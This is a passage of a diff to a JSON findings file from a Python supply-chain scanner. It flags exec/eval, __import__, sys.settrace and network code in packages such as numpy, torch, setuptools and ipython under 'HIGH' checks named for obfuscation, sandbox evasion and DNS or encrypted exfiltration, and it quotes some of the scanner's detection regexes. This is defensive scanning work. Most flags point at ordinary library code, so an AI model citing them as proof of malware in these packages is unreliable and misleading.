L1037: return eval(attr+'.__dict__[\"'+name+'\"]')" + "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')", + "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129" }, { "package": "dill", "file": "dill/source.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals" + "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)", + "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c" }, { "package": "dnspython", "file": "dns/query.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", - "evidence": "L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"]," - }, - { - "package": "execnet", - "file": "execnet/gateway_base.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1290: co = compile(source + \"\\n\", file_name or \"\", \"exec\")\nExec: L1291: exec(co, loc)" - }, - { - "package": "execnet", - "file": "execnet/script/socketserver.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L63: co = compile(source + \"\\n\", \"\", \"exec\")\nExec: L45: exec( | L47: exec(source, locs)\"\"\" | L61: source = eval(source)" + "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM", + "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971" }, { "package": "fastmcp-slim", "file": "fastmcp/server/auth/providers/jwt.py", "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", "severity": "HIGH", - "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))" - }, - { - "package": "hypothesis", - "file": "hypothesis/internal/scrutineer.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L76: return sys.gettrace() is None | L113: sys.settrace(self.trace) | L136: sys.settrace(None)" + "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))", + "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8" }, { "package": "ipython", "file": "IPython/core/debugger.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L960: trace_function = sys.gettrace() | L961: sys.settrace(None) | L973: sys.settrace(trace_function)" - }, - { - "package": "ipython", - "file": "IPython/core/debugger.py", - "check": "exec/eval with payload hidden in a docstring/string", - "severity": "HIGH", - "evidence": "marshal/compile/obfuscation: L310: # needed by any code which calls __import__(\"__main__\") after" + "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})", + "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4" }, { "package": "ipython", "file": "IPython/core/debugger_backport.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)" + "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)", + "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232" }, { "package": "ipython", "file": "IPython/core/magics/execution.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1178: self.shell.compile(ast_setup, \"\", \"exec\") | L1179: self.shell.compile(ast_stmt, \"\", \"exec\") | L1200: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1213: exec(cod" + "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075" }, { "package": "ipython", "file": "IPython/core/magics/execution.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L972: trace = sys.gettrace() | L983: sys.settrace(trace)" + "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)", + "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9" }, { "package": "jinja2", "file": "jinja2/environment.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)" - }, - { - "package": "kgb", - "file": "kgb/spies.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L934: eval(compile(func_code_str, '', 'exec'),\nExec: L934: eval(compile(func_code_str, '', 'exec')," - }, - { - "package": "langid", - "file": "langid/train/common.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L44: yield marshal.load(t)\nExec: L85: key = eval(row[0])" + "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)", + "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91" }, { "package": "matplotlib", "file": "matplotlib/sphinxext/plot_directive.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L368: compile(text, '', 'exec')\nExec: L585: exec('import numpy as np\\n' | L588: exec(str(setup.config.plot_pre_code), ns) | L594: exec(code, ns)" + "evidence": "Obfusc: L326: compile(text, '', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)", + "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff" }, { "package": "multiprocess", "file": "multiprocess/tests/__init__.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L440: time.sleep(300)" + "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)", + "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095" }, { "package": "networkx", "file": "networkx/utils/decorators.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)" + "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)", + "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92" }, { "package": "numba", "file": "numba/np/ufunc/array_exprs.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)" + "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)", + "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)" + "evidence": "Obfusc: L874: __import__(modname)\nExec: L808: eval(co, globs, ns)", + "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109" }, { "package": "numba", "file": "numba/tests/test_firstlinefinder.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)" + "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)", + "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788" }, { "package": "numba", "file": "numba/tests/test_funcdesc.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)" + "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)", + "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495" }, { "package": "numba", "file": "numba/tests/test_import.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))" + "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))", + "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a" }, { "package": "numba", "file": "numba/tests/test_np_functions.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)" + "evidence": "Obfusc: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7118: exec(compile(funcstr, '', 'exec'), globals(), dct)", + "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)" + "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c" }, { "package": "numpy", "file": "numpy/testing/_private/utils.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)" + "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)", + "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)", + "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844" }, { "package": "numpy", "file": "numpy/tests/test_public_api.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L543: core_submodule = __import__(\nExec: L405: eval(module_name)" + "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)", + "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d" }, { "package": "pillow", "file": "PIL/Image.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:" + "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:", + "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": "Unusually large executable .pth (539 bytes)", "severity": "HIGH", - "evidence": "1 import line(s) in 539-byte .pth file" + "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e", + "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)" + "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)" - }, - { - "package": "pytest", - "file": "_pytest/_py/path.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L626: mod = __import__(hashtype) | L1118: __import__(modname)\nExec: L1153: exec(f.read(), mod.__dict__)" - }, - { - "package": "pytest", - "file": "_pytest/assertion/rewrite.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L393: co = marshal.load(fp) | L395: trace(f\"_read_pyc({source}): marshal.load error {e}\")\nExec: L188: exec(co, module.__dict__)" + "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)", + "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")" + "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")", + "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea" }, { "package": "scipy", "file": "scipy/optimize/_optimize.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):" + "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):", + "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd" }, { "package": "setuptools", "file": "pkg_resources/__init__.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec')\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, nam" + "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)", + "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4" }, { "package": "setuptools", "file": "setuptools/_distutils/compilers/C/base.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):" + "evidence": "Obfusc: L1287: __import__(module_name)\nExec: L1114: if lib_type not in eval(expected):", + "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5" }, { "package": "setuptools", "file": "setuptools/launch.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)" + "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)", + "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9" }, { "package": "setuptools", "file": "setuptools/tests/config/test_pyprojecttoml.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\"," + "evidence": "Obfusc: L387: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",", + "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6" }, { "package": "setuptools", "file": "setuptools/tests/test_editable_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)" + "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447: exec(finder, loc, loc)", + "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d" }, { "package": "setuptools", "file": "setuptools/wheel.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra))," + "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),", + "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce" }, { "package": "six", "file": "six.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")" + "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" }, { "package": "sympy", "file": "sympy/external/importtools.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)" + "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)", + "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce" }, { "package": "sympy", "file": "sympy/plotting/experimental_lambdify.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)" + "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)", + "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf" }, { "package": "sympy", "file": "sympy/utilities/lambdify.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace)" + "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)", + "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd" }, { "package": "tensorboard", "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", - "check": "Python wheel ships large (1918 KB) JS bundle (uncommon; manually review)", + "check": "Python wheel ships large JS bundle (uncommon; manually review)", "severity": "HIGH", - "evidence": "" + "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2", + "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381" }, { "package": "torch", "file": "torch/_dynamo/bytecode_debugger.py", "check": "Anti-analysis/sandbox evasion + suspicious behavior", "severity": "HIGH", - "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)" + "evidence": "Anti: L1052: self._old_trace = sys.gettrace() | L1053: sys.settrace(self._settrace_callback) | L1113: sys.settrace(self._old_trace)\nExec: L684: result = eval(arg, frame_globals, eval_locals) | L709: result = eval(cmd, frame_globals, eval_locals) | L717: exec(cmd, frame_globals, eval_locals)", + "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b" }, { "package": "torch", "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)" + "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)", + "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67" }, { "package": "torch", "file": "torch/fx/experimental/rewriter.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)" + "evidence": "Obfusc: L44: code = compile(dest_ast, \"\", \"exec\")\nExec: L47: exec(code, globals_dict)", + "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748" }, { "package": "torch", "file": "torch/fx/graph_module.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)" + "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)", + "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15" }, { "package": "torch", "file": "torch/package/package_importer.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)" + "evidence": "Obfusc: L599: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)", + "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512" }, { "package": "triton", "file": "triton/runtime/interpreter.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "exec/eval with payload hidden in a docstring/string", - "severity": "HIGH", - "evidence": "marshal/compile/obfuscation: L132: r\"|\\bbytearray\\s*\\(\\s*\\[.*?\\]\\s*\\)\" # bytearray([104,101,...]) | L135: r\"|\\bgetattr\\s*\\(\\s*__builtins__\" # getattr(__builtins__, ...)" + "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)", + "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711" }, { "package": "unsloth-zoo", "file": "tests/test_compiler_dynamic_exec.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)" + "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)", + "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69" }, { "package": "unsloth-zoo", "file": "tests/test_fused_forward_install.py", "check": "Advanced obfuscation 